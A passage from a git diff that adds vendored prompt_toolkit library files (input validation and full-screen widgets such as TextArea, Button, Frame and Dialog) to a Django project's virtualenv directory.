callable(value): + return to_str(value()) + else: + return str(value) + + +def to_int(value: Union[Callable[[], int], int]) -> int: + "Turn callable or int into int." + if callable(value): + return to_int(value()) + else: + return int(value) + + +AnyFloat = Union[Callable[[], float], float] + + +def to_float(value: AnyFloat) -> float: + "Turn callable or float into float." + if callable(value): + return to_float(value()) + else: + return float(value) + + +def is_dumb_terminal(term: Optional[str] = None) -> bool: + """ + True if this terminal type is considered "dumb". + + If so, we should fall back to the simplest possible form of line editing, + without cursor positioning and color support. + """ + if term is None: + return is_dumb_terminal(os.environ.get("TERM", "")) + + return term.lower() in ["dumb", "unknown"] diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/validation.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/validation.py new file mode 100644 index 00000000..8bdffff5 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/validation.py @@ -0,0 +1,194 @@ +""" +Input validation for a `Buffer`. +(Validators will be called before accepting input.) +""" +from abc import ABCMeta, abstractmethod +from typing import Callable, Optional + +from prompt_toolkit.eventloop import run_in_executor_with_context + +from .document import Document +from .filters import FilterOrBool, to_filter + +__all__ = [ + "ConditionalValidator", + "ValidationError", + "Validator", + "ThreadedValidator", + "DummyValidator", + "DynamicValidator", +] + + +class ValidationError(Exception): + """ + Error raised by :meth:`.Validator.validate`. + + :param cursor_position: The cursor position where the error occurred. + :param message: Text. + """ + + def __init__(self, cursor_position: int = 0, message: str = "") -> None: + super().__init__(message) + self.cursor_position = cursor_position + self.message = message + + def __repr__(self) -> str: + return "{}(cursor_position={!r}, message={!r})".format( + self.__class__.__name__, + self.cursor_position, + self.message, + ) + + +class Validator(metaclass=ABCMeta): + """ + Abstract base class for an input validator. + + A validator is typically created in one of the following two ways: + + - Either by overriding this class and implementing the `validate` method. + - Or by passing a callable to `Validator.from_callable`. + + If the validation takes some time and needs to happen in a background + thread, this can be wrapped in a :class:`.ThreadedValidator`. + """ + + @abstractmethod + def validate(self, document: Document) -> None: + """ + Validate the input. + If invalid, this should raise a :class:`.ValidationError`. + + :param document: :class:`~prompt_toolkit.document.Document` instance. + """ + pass + + async def validate_async(self, document: Document) -> None: + """ + Return a `Future` which is set when the validation is ready. + This function can be overloaded in order to provide an asynchronous + implementation. + """ + try: + self.validate(document) + except ValidationError: + raise + + @classmethod + def from_callable( + cls, + validate_func: Callable[[str], bool], + error_message: str = "Invalid input", + move_cursor_to_end: bool = False, + ) -> "Validator": + """ + Create a validator from a simple validate callable. E.g.: + + .. code:: python + + def is_valid(text): + return text in ['hello', 'world'] + Validator.from_callable(is_valid, error_message='Invalid input') + + :param validate_func: Callable that takes the input string, and returns + `True` if the input is valid input. + :param error_message: Message to be displayed if the input is invalid. + :param move_cursor_to_end: Move the cursor to the end of the input, if + the input is invalid. + """ + return _ValidatorFromCallable(validate_func, error_message, move_cursor_to_end) + + +class _ValidatorFromCallable(Validator): + """ + Validate input from a simple callable. + """ + + def __init__( + self, func: Callable[[str], bool], error_message: str, move_cursor_to_end: bool + ) -> None: + + self.func = func + self.error_message = error_message + self.move_cursor_to_end = move_cursor_to_end + + def __repr__(self) -> str: + return f"Validator.from_callable({self.func!r})" + + def validate(self, document: Document) -> None: + if not self.func(document.text): + if self.move_cursor_to_end: + index = len(document.text) + else: + index = 0 + + raise ValidationError(cursor_position=index, message=self.error_message) + + +class ThreadedValidator(Validator): + """ + Wrapper that runs input validation in a thread. + (Use this to prevent the user interface from becoming unresponsive if the + input validation takes too much time.) + """ + + def __init__(self, validator: Validator) -> None: + self.validator = validator + + def validate(self, document: Document) -> None: + self.validator.validate(document) + + async def validate_async(self, document: Document) -> None: + """ + Run the `validate` function in a thread. + """ + + def run_validation_thread() -> None: + return self.validate(document) + + await run_in_executor_with_context(run_validation_thread) + + +class DummyValidator(Validator): + """ + Validator class that accepts any input. + """ + + def validate(self, document: Document) -> None: + pass # Don't raise any exception. + + +class ConditionalValidator(Validator): + """ + Validator that can be switched on/off according to + a filter. (This wraps around another validator.) + """ + + def __init__(self, validator: Validator, filter: FilterOrBool) -> None: + self.validator = validator + self.filter = to_filter(filter) + + def validate(self, document: Document) -> None: + # Call the validator only if the filter is active. + if self.filter(): + self.validator.validate(document) + + +class DynamicValidator(Validator): + """ + Validator class that can dynamically returns any Validator. + + :param get_validator: Callable that returns a :class:`.Validator` instance. + """ + + def __init__(self, get_validator: Callable[[], Optional[Validator]]) -> None: + self.get_validator = get_validator + + def validate(self, document: Document) -> None: + validator = self.get_validator() or DummyValidator() + validator.validate(document) + + async def validate_async(self, document: Document) -> None: + validator = self.get_validator() or DummyValidator() + await validator.validate_async(document) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/widgets/__init__.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/widgets/__init__.py new file mode 100644 index 00000000..552d3559 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/widgets/__init__.py @@ -0,0 +1,60 @@ +""" +Collection of reusable components for building full screen applications. +These are higher level abstractions on top of the `prompt_toolkit.layout` +module. + +Most of these widgets implement the ``__pt_container__`` method, which makes it +possible to embed these in the layout like any other container. +""" +from .base import ( + Box, + Button, + Checkbox, + CheckboxList, + Frame, + HorizontalLine, + Label, + ProgressBar, + RadioList, + Shadow, + TextArea, + VerticalLine, +) +from .dialogs import Dialog +from .menus import MenuContainer, MenuItem +from .toolbars import ( + ArgToolbar, + CompletionsToolbar, + FormattedTextToolbar, + SearchToolbar, + SystemToolbar, + ValidationToolbar, +) + +__all__ = [ + # Base. + "TextArea", + "Label", + "Button", + "Frame", + "Shadow", + "Box", + "VerticalLine", + "HorizontalLine", + "CheckboxList", + "RadioList", + "Checkbox", + "ProgressBar", + # Toolbars. + "ArgToolbar", + "CompletionsToolbar", + "FormattedTextToolbar", + "SearchToolbar", + "SystemToolbar", + "ValidationToolbar", + # Dialogs. + "Dialog", + # Menus. + "MenuContainer", + "MenuItem", +] diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/widgets/base.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/widgets/base.py new file mode 100644 index 00000000..885d23a8 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/widgets/base.py @@ -0,0 +1,978 @@ +""" +Collection of reusable components for building full screen applications. + +All of these widgets implement the ``__pt_container__`` method, which makes +them usable in any situation where we are expecting a `prompt_toolkit` +container object. + +.. warning:: + + At this point, the API for these widgets is considered unstable, and can + potentially change between minor releases (we try not too, but no + guarantees are made yet). The public API in + `prompt_toolkit.shortcuts.dialogs` on the other hand is considered stable. +""" +from functools import partial +from typing import Callable, Generic, List, Optional, Sequence, Tuple, TypeVar, Union + +from prompt_toolkit.application.current import get_app +from prompt_toolkit.auto_suggest import AutoSuggest, DynamicAutoSuggest +from prompt_toolkit.buffer import Buffer, BufferAcceptHandler +from prompt_toolkit.completion import Completer, DynamicCompleter +from prompt_toolkit.document import Document +from prompt_toolkit.filters import ( + Condition, + FilterOrBool, + has_focus, + is_done, + is_true, + to_filter, +) +from prompt_toolkit.formatted_text import ( + AnyFormattedText, + StyleAndTextTuples, + Template, + to_formatted_text, +) +from prompt_toolkit.formatted_text.utils import fragment_list_to_text +from prompt_toolkit.history import History +from prompt_toolkit.key_binding.key_bindings import KeyBindings +from prompt_toolkit.key_binding.key_processor import KeyPressEvent +from prompt_toolkit.keys import Keys +from prompt_toolkit.layout.containers import ( + AnyContainer, + ConditionalContainer, + Container, + DynamicContainer, + Float, + FloatContainer, + HSplit, + VSplit, + Window, + WindowAlign, +) +from prompt_toolkit.layout.controls import ( + BufferControl, + FormattedTextControl, + GetLinePrefixCallable, +) +from prompt_toolkit.layout.dimension import AnyDimension +from prompt_toolkit.layout.dimension import Dimension as D +from prompt_toolkit.layout.dimension import to_dimension +from prompt_toolkit.layout.margins import ( + ConditionalMargin, + NumberedMargin, + ScrollbarMargin, +) +from prompt_toolkit.layout.processors import ( + AppendAutoSuggestion, + BeforeInput, + ConditionalProcessor, + PasswordProcessor, + Processor, +) +from prompt_toolkit.lexers import DynamicLexer, Lexer +from prompt_toolkit.mouse_events import MouseEvent, MouseEventType +from prompt_toolkit.utils import get_cwidth +from prompt_toolkit.validation import DynamicValidator, Validator + +from .toolbars import SearchToolbar + +__all__ = [ + "TextArea", + "Label", + "Button", + "Frame", + "Shadow", + "Box", + "VerticalLine", + "HorizontalLine", + "RadioList", + "CheckboxList", + "Checkbox", # backward compatibility + "ProgressBar", +] + +E = KeyPressEvent + + +class Border: + "Box drawing characters. (Thin)" + HORIZONTAL = "\u2500" + VERTICAL = "\u2502" + TOP_LEFT = "\u250c" + TOP_RIGHT = "\u2510" + BOTTOM_LEFT = "\u2514" + BOTTOM_RIGHT = "\u2518" + + +class TextArea: + """ + A simple input field. + + This is a higher level abstraction on top of several other classes with + sane defaults. + + This widget does have the most common options, but it does not intend to + cover every single use case. For more configurations options, you can + always build a text area manually, using a + :class:`~prompt_toolkit.buffer.Buffer`, + :class:`~prompt_toolkit.layout.BufferControl` and + :class:`~prompt_toolkit.layout.Window`. + + Buffer attributes: + + :param text: The initial text. + :param multiline: If True, allow multiline input. + :param completer: :class:`~prompt_toolkit.completion.Completer` instance + for auto completion. + :param complete_while_typing: Boolean. + :param accept_handler: Called when `Enter` is pressed (This should be a + callable that takes a buffer as input). + :param history: :class:`~prompt_toolkit.history.History` instance. + :param auto_suggest: :class:`~prompt_toolkit.auto_suggest.AutoSuggest` + instance for input suggestions. + + BufferControl attributes: + + :param password: When `True`, display using asterisks. + :param focusable: When `True`, allow this widget to receive the focus. + :param focus_on_click: When `True`, focus after mouse click. + :param input_processors: `None` or a list of + :class:`~prompt_toolkit.layout.Processor` objects. + :param validator: `None` or a :class:`~prompt_toolkit.validation.Validator` + object. + + Window attributes: + + :param lexer: :class:`~prompt_toolkit.lexers.Lexer` instance for syntax + highlighting. + :param wrap_lines: When `True`, don't scroll horizontally, but wrap lines. + :param width: Window width. (:class:`~prompt_toolkit.layout.Dimension` object.) + :param height: Window height. (:class:`~prompt_toolkit.layout.Dimension` object.) + :param scrollbar: When `True`, display a scroll bar. + :param style: A style string. + :param dont_extend_width: When `True`, don't take up more width then the + preferred width reported by the control. + :param dont_extend_height: When `True`, don't take up more width then the + preferred height reported by the control. + :param get_line_prefix: None or a callable that returns formatted text to + be inserted before a line. It takes a line number (int) and a + wrap_count and returns formatted text. This can be used for + implementation of line continuations, things like Vim "breakindent" and + so on. + + Other attributes: + + :param search_field: An optional `SearchToolbar` object. + """ + + def __init__( + self, + text: str = "", + multiline: FilterOrBool = True, + password: FilterOrBool = False, + lexer: Optional[Lexer] = None, + auto_suggest: Optional[AutoSuggest] = None, + completer: Optional[Completer] = None, + complete_while_typing: FilterOrBool = True, + validator: Optional[Validator] = None, + accept_handler: Optional[BufferAcceptHandler] = None, + history: Optional[History] = None, + focusable: FilterOrBool = True, + focus_on_click: FilterOrBool = False, + wrap_lines: FilterOrBool = True, + read_only: FilterOrBool = False, + width: AnyDimension = None, + height: AnyDimension = None, + dont_extend_height: FilterOrBool = False, + dont_extend_width: FilterOrBool = False, + line_numbers: bool = False, + get_line_prefix: Optional[GetLinePrefixCallable] = None, + scrollbar: bool = False, + style: str = "", + search_field: Optional[SearchToolbar] = None, + preview_search: FilterOrBool = True, + prompt: AnyFormattedText = "", + input_processors: Optional[List[Processor]] = None, + ) -> None: + + if search_field is None: + search_control = None + elif isinstance(search_field, SearchToolbar): + search_control = search_field.control + + if input_processors is None: + input_processors = [] + + # Writeable attributes. + self.completer = completer + self.complete_while_typing = complete_while_typing + self.lexer = lexer + self.auto_suggest = auto_suggest + self.read_only = read_only + self.wrap_lines = wrap_lines + self.validator = validator + + self.buffer = Buffer( + document=Document(text, 0), + multiline=multiline, + read_only=Condition(lambda: is_true(self.read_only)), + completer=DynamicCompleter(lambda: self.completer), + complete_while_typing=Condition( + lambda: is_true(self.complete_while_typing) + ), + validator=DynamicValidator(lambda: self.validator), + auto_suggest=DynamicAutoSuggest(lambda: self.auto_suggest), + accept_handler=accept_handler, + history=history, + ) + + self.control = BufferControl( + buffer=self.buffer, + lexer=DynamicLexer(lambda: self.lexer), + input_processors=[ + ConditionalProcessor( + AppendAutoSuggestion(), has_focus(self.buffer) & ~is_done + ), + ConditionalProcessor( + processor=PasswordProcessor(), filter=to_filter(password) + ), + BeforeInput(prompt, style="class:text-area.prompt"), + ] + + input_processors, + search_buffer_control=search_control, + preview_search=preview_search, + focusable=focusable, + focus_on_click=focus_on_click, + ) + + if multiline: + if scrollbar: + right_margins = [ScrollbarMargin(display_arrows=True)] + else: + right_margins = [] + if line_numbers: + left_margins = [NumberedMargin()] + else: + left_margins = [] + else: + height = D.exact(1) + left_margins = [] + right_margins = [] + + style = "class:text-area " + style + + # If no height was given, guarantee height of at least 1. + if height is None: + height = D(min=1) + + self.window = Window( + height=height, + width=width, + dont_extend_height=dont_extend_height, + dont_extend_width=dont_extend_width, + content=self.control, + style=style, + wrap_lines=Condition(lambda: is_true(self.wrap_lines)), + left_margins=left_margins, + right_margins=right_margins, + get_line_prefix=get_line_prefix, + ) + + @property + def text(self) -> str: + """ + The `Buffer` text. + """ + return self.buffer.text + + @text.setter + def text(self, value: str) -> None: + self.document = Document(value, 0) + + @property + def document(self) -> Document: + """ + The `Buffer` document (text + cursor position). + """ + return self.buffer.document + + @document.setter + def document(self, value: Document) -> None: + self.buffer.set_document(value, bypass_readonly=True) + + @property + def accept_handler(self) -> Optional[BufferAcceptHandler]: + """ + The accept handler. Called when the user accepts the input. + """ + return self.buffer.accept_handler + + @accept_handler.setter + def accept_handler(self, value: BufferAcceptHandler) -> None: + self.buffer.accept_handler = value + + def __pt_container__(self) -> Container: + return self.window + + +class Label: + """ + Widget that displays the given text. It is not editable or focusable. + + :param text: Text to display. Can be multiline. All value types accepted by + :class:`prompt_toolkit.layout.FormattedTextControl` are allowed, + including a callable. + :param style: A style string. + :param width: When given, use this width, rather than calculating it from + the text size. + :param dont_extend_width: When `True`, don't take up more width than + preferred, i.e. the length of the longest line of + the text, or value of `width` parameter, if + given. `True` by default + :param dont_extend_height: When `True`, don't take up more width than the + preferred height, i.e. the number of lines of + the text. `False` by default. + """ + + def __init__( + self, + text: AnyFormattedText, + style: str = "", + width: AnyDimension = None, + dont_extend_height: bool = True, + dont_extend_width: bool = False, + align: Union[WindowAlign, Callable[[], WindowAlign]] = WindowAlign.LEFT, + ) -> None: + + self.text = text + + def get_width() -> AnyDimension: + if width is None: + text_fragments = to_formatted_text(self.text) + text = fragment_list_to_text(text_fragments) + if text: + longest_line = max(get_cwidth(line) for line in text.splitlines()) + else: + return D(preferred=0) + return D(preferred=longest_line) + else: + return width + + self.formatted_text_control = FormattedTextControl(text=lambda: self.text) + + self.window = Window( + content=self.formatted_text_control, + width=get_width, + height=D(min=1), + style="class:label " + style, + dont_extend_height=dont_extend_height, + dont_extend_width=dont_extend_width, + align=align, + ) + + def __pt_container__(self) -> Container: + return self.window + + +class Button: + """ + Clickable button. + + :param text: The caption for the button. + :param handler: `None` or callable. Called when the button is clicked. No + parameters are passed to this callable. Use for instance Python's + `functools.partial` to pass parameters to this callable if needed. + :param width: Width of the button. + """ + + def __init__( + self, + text: str, + handler: Optional[Callable[[], None]] = None, + width: int = 12, + left_symbol: str = "<", + right_symbol: str = ">", + ) -> None: + + self.text = text + self.left_symbol = left_symbol + self.right_symbol = right_symbol + self.handler = handler + self.width = width + self.control = FormattedTextControl( + self._get_text_fragments, + key_bindings=self._get_key_bindings(), + focusable=True, + ) + + def get_style() -> str: + if get_app().layout.has_focus(self): + return "class:button.focused" + else: + return "class:button" + + # Note: `dont_extend_width` is False, because we want to allow buttons + # to take more space if the parent container provides more space. + # Otherwise, we will also truncate the text. + # Probably we need a better way here to adjust to width of the + # button to the text. + + self.window = Window( + self.control, + align=WindowAlign.CENTER, + height=1, + width=width, + style=get_style, + dont_extend_width=False, + dont_extend_height=True, + ) + + def _get_text_fragments(self) -> StyleAndTextTuples: + width = self.width - ( + get_cwidth(self.left_symbol) + get_cwidth(self.right_symbol) + ) + text = (f"{{:^{width}}}").format(self.text) + + def handler(mouse_event: MouseEvent) -> None: + if ( + self.handler is not None + and mouse_event.event_type == MouseEventType.MOUSE_UP + ): + self.handler() + + return [ + ("class:button.arrow", self.left_symbol, handler), + ("[SetCursorPosition]", ""), + ("class:button.text", text, handler), + ("class:button.arrow", self.right_symbol, handler), + ] + + def _get_key_bindings(self) -> KeyBindings: + "Key bindings for the Button." + kb = KeyBindings() + + @kb.add(" ") + @kb.add("enter") + def _(event: E) -> None: + if self.handler is not None: + self.handler() + + return kb + + def __pt_container__(self) -> Container: + return self.window + + +class Frame: + """ + Draw a border around any container, optionally with a title text. + + Changing the title and body of the frame is possible at runtime by + assigning to the `body` and `title` attributes of this class. + + :param body: Another container object. + :param title: Text to be displayed in the top of the frame (can be formatted text). + :param style: Style string to be applied to this widget. + """ + + def __init__( + self, + body: AnyContainer, + title: AnyFormattedText = "", + style: str = "", + width: AnyDimension = None, + height: AnyDimension = None, + key_bindings: Optional[KeyBindings] = None, + modal: bool = False, + ) -> None: + + self.title = title + self.body = body + + fill = partial(Window, style="class:frame.border") + style = "class:frame " + style + + top_row_with_title = VSplit( + [ + fill(width=1, height=1, char=Border.TOP_LEFT), + fill(char=Border.HORIZONTAL), + fill(width=1, height=1, char="|"), + # Notice: we use `Template` here, because `self.title` can be an + # `HTML` object for instance. + Label( + lambda: Template(" {} ").format(self.title), + style="class:frame.label", + dont_extend_width=True, + ), + fill(width=1, height=1, char="|"), + fill(char=Border.HORIZONTAL), + fill(width=1, height=1, char=Border.TOP_RIGHT), + ], + height=1, + ) + + top_row_without_title = VSplit( + [ + fill(width=1, height=1, char=Border.TOP_LEFT), + fill(char=Border.HORIZONTAL), + fill(width=1, height=1, char=Border.TOP_RIGHT), + ], + height=1, + ) + + @Condition + def has_title() -> bool: + return bool(self.title) + + self.container = HSplit( + [ + ConditionalContainer(content=top_row_with_title, filter=has_title), + ConditionalContainer(content=top_row_without_title, filter=~has_title), + VSplit( + [ + fill(width=1, char=Border.VERTICAL), + DynamicContainer(lambda: self.body), + fill(width=1, char=Border.VERTICAL), + # Padding is required to make sure that if the content is + # too small, the right frame border is still aligned. + ], + padding=0, + ), + VSplit( + [ + fill(width=1, height=1, char=Border.BOTTOM_LEFT), + fill(char=Border.HORIZONTAL), + fill(width=1, height=1, char=Border.BOTTOM_RIGHT), + ], + # specifying height here will increase the rendering speed. + height=1, + ), + ], + width=width, + height=height, + style=style, + key_bindings=key_bindings, + modal=modal, + ) + + def __pt_container__(self) -> Container: + return self.container + + +class Shadow: + """ + Draw a shadow underneath/behind this container. + (This applies `class:shadow` the the cells under the shadow. The Style + should define the colors for the shadow.) + + :param body: Another container object. + """ + + def __init__(self, body: AnyContainer) -> None: + self.container = FloatContainer( + content=body, + floats=[ + Float( + bottom=-1, + height=1, + left=1, + right=-1, + transparent=True, + content=Window(style="class:shadow"), + ), + Float( + bottom=-1, + top=1, + width=1, + right=-1, + transparent=True, + content=Window(style="class:shadow"), + ), + ], + ) + + def __pt_container__(self) -> Container: + return self.container + + +class Box: + """ + Add padding around a container. + + This also makes sure that the parent can provide more space than required by + the child. This is very useful when wrapping a small element with a fixed + size into a ``VSplit`` or ``HSplit`` object. The ``HSplit`` and ``VSplit`` + try to make sure to adapt respectively the width and height, possibly + shrinking other elements. Wrapping something in a ``Box`` makes it flexible. + + :param body: Another container object. + :param padding: The margin to be used around the body. This can be + overridden by `padding_left`, padding_right`, `padding_top` and + `padding_bottom`. + :param style: A style string. + :param char: Character to be used for filling the space around the body. + (This is supposed to be a character with a terminal width of 1.) + """ + + def __init__( + self, + body: AnyContainer, + padding: AnyDimension = None, + padding_left: AnyDimension = None, + padding_right: AnyDimension = None, + padding_top: AnyDimension = None, + padding_bottom: AnyDimension = None, + width: AnyDimension = None, + height: AnyDimension = None, + style: str = "", + char: Union[None, str, Callable[[], str]] = None, + modal: bool = False, + key_bindings: Optional[KeyBindings] = None, + ) -> None: + + if padding is None: + padding = D(preferred=0) + + def get(value: AnyDimension) -> D: + if value is None: + value = padding + return to_dimension(value) + + self.padding_left = get(padding_left) + self.padding_right = get(padding_right) + self.padding_top = get(padding_top) + self.padding_bottom = get(padding_bottom) + self.body = body + + self.container = HSplit( + [ + Window(height=self.padding_top, char=char), + VSplit( + [ + Window(width=self.padding_left, char=char), + body, + Window(width=self.padding_right, char=char), + ] + ), + Window(height=self.padding_bottom, char=char), + ], + width=width, + height=height, + style=style, + modal=modal, + key_bindings=None, + ) + + def __pt_container__(self) -> Container: + return self.container + + +_T = TypeVar("_T") + + +class _DialogList(Generic[_T]): + """ + Common code for `RadioList` and `CheckboxList`. + """ + + open_character: str = "" + close_character: str = "" + container_style: str = "" + default_style: str = "" + selected_style: str = "" + checked_style: str = "" + multiple_selection: bool = False + show_scrollbar: bool = True + + def __init__( + self, + values: Sequence[Tuple[_T, AnyFormattedText]], + default_values: Optional[Sequence[_T]] = None, + ) -> None: + assert len(values) > 0 + default_values = default_values or [] + + self.values = values + # current_values will be used in multiple_selection, + # current_value will be used otherwise. + keys: List[_T] = [value for (value, _) in values] + self.current_values: List[_T] = [ + value for value in default_values if value in keys + ] + self.current_value: _T = ( + default_values[0] + if len(default_values) and default_values[0] in keys + else values[0][0] + ) + + # Cursor index: take first selected item or first item otherwise. + if len(self.current_values) > 0: + self._selected_index = keys.index(self.current_values[0]) + else: + self._selected_index = 0 + + # Key bindings. + kb = KeyBindings() + + @kb.add("up") + def _up(event: E) -> None: + self._selected_index = max(0, self._selected_index - 1) + + @kb.add("down") + def _down(event: E) -> None: + self._selected_index = min(len(self.values) - 1, self._selected_index + 1) + + @kb.add("pageup") + def _pageup(event: E) -> None: + w = event.app.layout.current_window + if w.render_info: + self._selected_index = max( + 0, self._selected_index - len(w.render_info.displayed_lines) + ) + + @kb.add("pagedown") + def _pagedown(event: E) -> None: + w = event.app.layout.current_window + if w.render_info: + self._selected_index = min( + len(self.values) - 1, + self._selected_index + len(w.render_info.displayed_lines), + ) + + @kb.add("enter") + @kb.add(" ") + def _click(event: E) -> None: + self._handle_enter() + + @kb.add(Keys.Any) + def _find(event: E) -> None: + # We first check values after the selected value, then all values. + values = list(self.values) + for value in values[self._selected_index + 1 :] + values: + text = fragment_list_to_text(to_formatted_text(value[1])).lower() + + if text.startswith(event.data.lower()): + self._selected_index = self.values.index(value) + return + + # Control and window. + self.control = FormattedTextControl( + self._get_text_fragments, key_bindings=kb, focusable=True + ) + + self.window = Window( + content=self.control, + style=self.container_style, + right_margins=[ + ConditionalMargin( + margin=ScrollbarMargin(display_arrows=True), + filter=Condition(lambda: self.show_scrollbar), + ), + ], + dont_extend_height=True, + ) + + def _handle_enter(self) -> None: + if self.multiple_selection: + val = self.values[self._selected_index][0] + if val in self.current_values: + self.current_values.remove(val) + else: + self.current_values.append(val) + else: + self.current_value = self.values[self._selected_index][0] + + def _get_text_fragments(self) -> StyleAndTextTuples: + def mouse_handler(mouse_event: MouseEvent) -> None: + """ + Set `_selected_index` and `current_value` according to the y + position of the mouse click event. + """ + if mouse_event.event_type == MouseEventType.MOUSE_UP: + self._selected_index = mouse_event.position.y + self._handle_enter() + + result: StyleAndTextTuples = [] + for i, value in enumerate(self.values): + if self.multiple_selection: + checked = value[0] in self.current_values + else: + checked = value[0] == self.current_value + selected = i == self._selected_index + + style = "" + if checked: + style += " " + self.checked_style + if selected: + style += " " + self.selected_style + + result.append((style, self.open_character)) + + if selected: + result.append(("[SetCursorPosition]", "")) + + if checked: + result.append((style, "*")) + else: + result.append((style, " ")) + + result.append((style, self.close_character)) + result.append((self.default_style, " ")) + result.extend(to_formatted_text(value[1], style=self.default_style)) + result.append(("", "\n")) + + # Add mouse handler to all fragments. + for i in range(len(result)): + result[i] = (result[i][0], result[i][1], mouse_handler) + + result.pop() # Remove last newline. + return result + + def __pt_container__(self) -> Container: + return self.window + + +class RadioList(_DialogList[_T]): + """ + List of radio buttons. Only one can be checked at the same time. + + :param values: List of (value, label) tuples. + """ + + open_character = "(" + close_character = ")" + container_style = "class:radio-list" + default_style = "class:radio" + selected_style = "class:radio-selected" + checked_style = "class:radio-checked" + multiple_selection = False + + def __init__( + self, + values: Sequence[Tuple[_T, AnyFormattedText]], + default: Optional[_T] = None, + ) -> None: + if default is None: + default_values = None + else: + default_values = [default] + + super().__init__(values, default_values=default_values) + + +class CheckboxList(_DialogList[_T]): + """ + List of checkbox buttons. Several can be checked at the same time. + + :param values: List of (value, label) tuples. + """ + + open_character = "[" + close_character = "]" + container_style = "class:checkbox-list" + default_style = "class:checkbox" + selected_style = "class:checkbox-selected" + checked_style = "class:checkbox-checked" + multiple_selection = True + + +class Checkbox(CheckboxList[str]): + """Backward compatibility util: creates a 1-sized CheckboxList + + :param text: the text + """ + + show_scrollbar = False + + def __init__(self, text: AnyFormattedText = "", checked: bool = False) -> None: + values = [("value", text)] + CheckboxList.__init__(self, values=values) + self.checked = checked + + @property + def checked(self) -> bool: + return "value" in self.current_values + + @checked.setter + def checked(self, value: bool) -> None: + if value: + self.current_values = ["value"] + else: + self.current_values = [] + + +class VerticalLine: + """ + A simple vertical line with a width of 1. + """ + + def __init__(self) -> None: + self.window = Window( + char=Border.VERTICAL, style="class:line,vertical-line", width=1 + ) + + def __pt_container__(self) -> Container: + return self.window + + +class HorizontalLine: + """ + A simple horizontal line with a height of 1. + """ + + def __init__(self) -> None: + self.window = Window( + char=Border.HORIZONTAL, style="class:line,horizontal-line", height=1 + ) + + def __pt_container__(self) -> Container: + return self.window + + +class ProgressBar: + def __init__(self) -> None: + self._percentage = 60 + + self.label = Label("60%") + self.container = FloatContainer( + content=Window(height=1), + floats=[ + # We first draw the label, then the actual progress bar. Right + # now, this is the only way to have the colors of the progress + # bar appear on top of the label. The problem is that our label + # can't be part of any `Window` below. + Float(content=self.label, top=0, bottom=0), + Float( + left=0, + top=0, + right=0, + bottom=0, + content=VSplit( + [ + Window( + style="class:progress-bar.used", + width=lambda: D(weight=int(self._percentage)), + ), + Window( + style="class:progress-bar", + width=lambda: D(weight=int(100 - self._percentage)), + ), + ] + ), + ), + ], + ) + + @property + def percentage(self) -> int: + return self._percentage + + @percentage.setter + def percentage(self, value: int) -> None: + self._percentage = value + self.label.text = f"{value}%" + + def __pt_container__(self) -> Container: + return self.container diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/widgets/dialogs.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/widgets/dialogs.py new file mode 100644 index 00000000..920582b4 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/widgets/dialogs.py @@ -0,0 +1,106 @@ +""" +Collection of reusable components for building full screen applications. +""" +from typing import Optional, Sequence, Union + +from prompt_toolkit.filters import has_completions, has_focus +from prompt_toolkit.formatted_text import AnyFormattedText +from prompt_toolkit.key_binding.bindings.focus import focus_next, focus_previous +from prompt_toolkit.key_binding.key_bindings import KeyBindings +from prompt_toolkit.layout.containers import ( + AnyContainer, + DynamicContainer, + HSplit, + VSplit, +) +from prompt_toolkit.layout.dimension import AnyDimension +from prompt_toolkit.layout.dimension import Dimension as D + +from .base import Box, Button, Frame, Shadow + +__all__ = [ + "Dialog", +] + + +class Dialog: + """ + Simple dialog window. This is the base for input dialogs, message dialogs + and confirmation dialogs. + + Changing the title and body of the dialog is possible at runtime by + assigning to the `body` and `title` attributes of this class. + + :param body: Child container object. + :param title: Text to be displayed in the heading of the dialog. + :param buttons: A list of `Button` widgets, displayed at the bottom. + """ + + def __init__( + self, + body: AnyContainer, + title: AnyFormattedText = "", + buttons: Optional[Sequence[Button]] = None, + modal: bool = True, + width: AnyDimension = None, + with_background: bool = False, + ) -> None: + + self.body = body + self.title = title + + buttons = buttons or [] + + # When a button is selected, handle left/right key bindings. + buttons_kb = KeyBindings() + if len(buttons) > 1: + first_selected = has_focus(buttons[0]) + last_selected = has_focus(buttons[-1]) + + buttons_kb.add("left", filter=~first_selected)(focus_previous) + buttons_kb.add("right", filter=~last_selected)(focus_next) + + frame_body: AnyContainer + if buttons: + frame_body = HSplit( + [ + # Add optional padding around the body. + Box( + body=DynamicContainer(lambda: self.body), + padding=D(preferred=1, max=1), + padding_bottom=0, + ), + # The buttons. + Box( + body=VSplit(buttons, padding=1, key_bindings=buttons_kb), + height=D(min=1, max=3, preferred=3), + ), + ] + ) + else: + frame_body = body + + # Key bindings for whole dialog. + kb = KeyBindings() + kb.add("tab", filter=~has_completions)(focus_next) + kb.add("s-tab", filter=~has_completions)(focus_previous) + + frame = Shadow( + body=Frame( + title=lambda: self.title, + body=frame_body, + style="class:dialog.body", + width=(None if with_background is None else width), + key_bindings=kb, + modal=modal, + ) + ) + + self.container: Union[Box, Shadow] + if with_background: + self.container = Box(body=frame, style="class:dialog", width=width) + else: + self.container = frame + + def __pt_container__(self) -> AnyContainer: + return self.container diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/widgets/menus.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/widgets/menus.py new file mode 100644 index 00000000..6827ebec --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/widgets/menus.py @@ -0,0 +1,374 @@ +from typing import Callable, Iterable, List, Optional, Sequence, Union + +from prompt_toolkit.application.current import get_app +from prompt_toolkit.filters import Condition +from prompt_toolkit.formatted_text.base import OneStyleAndTextTuple, StyleAndTextTuples +from prompt_toolkit.key_binding.key_bindings import KeyBindings, KeyBindingsBase +from prompt_toolkit.key_binding.key_processor import KeyPressEvent +from prompt_toolkit.keys import Keys +from 